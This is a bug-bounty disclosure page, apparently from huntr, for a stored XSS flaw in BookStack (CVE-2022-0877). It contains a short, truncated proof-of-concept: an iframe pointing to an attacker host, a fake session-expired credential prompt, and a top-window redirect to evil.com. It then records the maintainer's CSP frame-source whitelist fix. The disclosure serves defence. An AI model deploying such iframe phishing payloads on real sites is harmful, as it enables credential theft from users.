

Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack

0



Valid

Reported on Mar 5th 2022

Description



Iframe tags don't have a sandbox attribute, this makes an attacker able to execute malicious javascript via an iframe and perform phishing attacks. The sandbox attribute will block script execution and prevents the content to navigate its top-level browsing context which will stop this type of attack.

Proof of Concept

Tested on firefox.

```
<!-- phishing.html | change page content to <iframe src="http://atacker.com
<script>alert("Your session has expired, Please enter your credential again
<script>window.top.location.href = "http://evil.com"; </script
```

[Chat with us](#)



Impact

This vulnerability is capable of phishing and stealing users' data.

CVE

CVE-2022-0877

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Stored

Severity

High (7.6)

Visibility

Public

Status

Fixed

Found by




Anna

@416e6e61

master



Fixed by



Dan Brown

@ssddanbrown

maintainer

This report was seen 822 times.

We are processing your report and will contact the **bookstackapp/bookstack** team within 24 hours. 9 months ago

We have contacted a member of the **bookstackapp/bookstack** team and are waiting to hear back 9 months ago

Dan Brown 9 months ago

Chat with us

Thanks for reporting this @416e6e61 Just before I approve this I just want to confirm that my

Thanks for reporting this @416e6e61. Just before I approve this I just want to confirm that my thinking is correct and that my solution would be suitable:

The primary issue here is the ability to redirect the parent page.

This redirect is blocked by browsers by default in cross-origin context (Where this would be dangerous) but a user could simply add `sandbox="allow-top-navigation allow-scripts"` to work around this right now so we're still vulnerable.

Within BookStack iframes are used for interactive content, so we'd generally need to still allow scripts (And possibly other interactive content). Therefore, I'm instead thinking we could take the following approach:

Add a configurable CSP `frame-src` header rule to limit the sources that iframes can load.

This will effectively act as a a whitelist for iframe sources.

By default, we'd set this to a limited range of well-known media sources (Youtube, vimeo etc..)

Is the above correct and would you consider the solution proposed to be one that suitably negates the risk of the vulnerability?

Anna [9 months ago](#)

Researcher

Thanks for the fast response, as you said configuring CSP and only allowing media sources should be a good solution for this, and I can confirm it.

Dan Brown validated this vulnerability [9 months ago](#)

Anna has been awarded the disclosure bounty 

The fix bounty is now up for grabs

Dan Brown [9 months ago](#)

Maintainer

Patch with about whitelist approach now released. Relevant links:
<https://www.bookstackapp.com/blog/bookstack-release-v22-02-3/>
<https://github.com/BookStackApp/BookStack/releases/tag/v22.02.3>

Thanks again @416e6e61 for reporting!

Chat with us

Dan Brown marked this as fixed in **v22.02.3** with commit **856fca** 9 months ago

Dan Brown has been awarded the fix bounty 

This vulnerability will not receive a CVE 



Sign in to join this conversation

2022 © 4l8sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 4l8sec

company

about

team

Chat with us